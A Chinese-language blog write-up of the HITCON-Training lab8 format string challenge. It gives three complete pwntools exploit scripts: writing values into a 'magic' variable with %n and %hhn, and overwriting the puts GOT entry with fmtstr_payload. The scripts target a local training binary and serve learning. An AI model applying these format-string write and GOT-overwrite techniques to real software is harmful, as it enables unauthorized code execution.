HITCON-Training lab8(格式化字符串寫漏洞)

還在補格式化字符串漏洞的知識,,,,看到這道題的時候,有點懵,,,因爲發現218不會整,,,看官方writeup也不太行,,,

 

先知社區上有篇講的就很好了,,,nice,用了四種方法(最後一種沒看懂,,,),,,看完,BJDCTF那道r2t4終於也明白了,感天動地,,,今天就寫下前三種方法的種種,,,

 

順便計算下偏移,反正都會用到

偏移是7

 

方法一

最簡單的一種

就是要通過格式化字符串寫漏洞,讓magic的地址變爲218

magic的地址,,,

這樣準備工作都完成了,思路就是將放上magic的地址,然後,就可以填充214個字節,然後偏移7個

語句是這樣的:p32(magic_addr)+"%0214c"+"%7$n"

                      放上32位地址             填充214字符   將前面的字節(214+4)寫入偏移也就是我們輸入的東西,magic

這樣就成功讓magic的內容爲218

完整exp

from pwn import *
p=process('./craxme')

magic_addr=0x0804A038

p.recvuntil(":")
payload=p32(magic_addr)+"%0214c"+"%7$n"
p.sendline(payload)

p.interactive()

 

方法二

這個是將magic覆蓋成那個很大的負數,這樣做也會麻煩一些了,,,

首先我們要將負數用十六進制表示出來

用電腦自帶的計算器,程序員模式就行

因爲大小端的緣故,我們填入的時候應該是

0c ==> b0 ==> ce ==> fa

發現剛好都是遞增,所以,我們可以一個字節一個字節分別寫入

意思就是0c寫入magic的地址,b0寫入magic+1(1個字節),ce寫入magic+2,fa寫入magic+3,一個地址是四個四節也就是magic~magic+3這個部分,,,

payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3) #4x4=16
payload2 += '%252c%7$hhn'  #252+16 =268-->0x10c
payload2 += '%164c%8$hhn'  #268+164 = 432 -->0x1b0
payload2 += '%30c%9$hhn'   #432+30  =462 -->0x1ce
payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa

【第一個0c是12但是前面的地址就有16所以只能多一位,後面1會被覆蓋,所以關係8大】

【%$hn表示寫入的地址空間爲2字節,%$hhn表示寫入的地址空間爲1字節,%$lln表示寫入的地址空間爲8字節】

完整exp:

#coding=utf-8
from pwn import *
p=process('./craxme')
magic_addr=0x0804A038

payload = p32(magic_addr)+p32(magic_addr+1)+p32(magic_addr+2)+p32(magic_addr+3)#4*4=16
payload += '%252c'+'%7$hhn'
payload += '%164c'+'%8$hhn'
payload += '%30c'+'%9$hhn'
payload += '%44c'+'%10$hhn'

p.recvuntil('magic :')
p.sendline(payload)
p.interactive()

【7,8,9,10那個想解釋一下,因爲自己剛開始看的時候有點迷,四個字節和一個字節的關係,,,沒錯,前面的數值會是四個字節,只是寫入的時候只寫入一個字節,%7$偏移剛好是輸入的那個東西,也就是第一行payload的p32(magic_addr),%8$走到的地方是payload的第二個p32(magic_addr+1),哈哈哈】

 

這裏我們還要介紹一個pwntools用於格式化字符串的函數,可以方便生成payload:

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

 

第一個參數表示格式化字符串的偏移,這裏已經知道是7;

第二個參數表示需要利用%n寫入的數據,採用字典形式,我們要將printf的GOT數據改爲system函數地址,就寫成{printfGOT: systemAddress};

第三個參數表示已經輸出的字符個數,這裏沒有,爲0,採用默認值即可;

第四個參數表示寫入方式,是按字節(byte)、按雙字節(short)還是按四字節(int),對應着hhn、hn和n,默認值是byte,即按hhn寫。

fmtstr_payload函數返回的就是payload

 

也就是我們中間可以不用這樣一步步算出來,直接調用哪個函數,給出我們的偏移,地址,以及我們想要在地址裏面寫入的地址就行:

payload=fmtstr_payload(7,{magic_addr:0xfaceb00c})

 

方法三

第三種方法就是

我們用函數來直接實現

#coding=utf-8
from pwn import *
p=process('./craxme')
elf=ELF('./craxme')

puts_got=elf.got['puts']
magic_addr=0x0804a038
cat_flag=0x080485D8 #or 0x080485F6

payload=fmtstr_payload(7,{puts_got:cat_flag })

p.recvuntil('magic :')
p.sendline(payload)
p.interactive()

這裏需要修改的是got表,因爲puts函數根據plt會找到got表來執行,如果用了plt表,接下來還回去找got,,,

 

參考博客:https://xz.aliyun.com/t/3902#toc-10

題目下載:https://github.com/scwuaptx/HITCON-Training

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章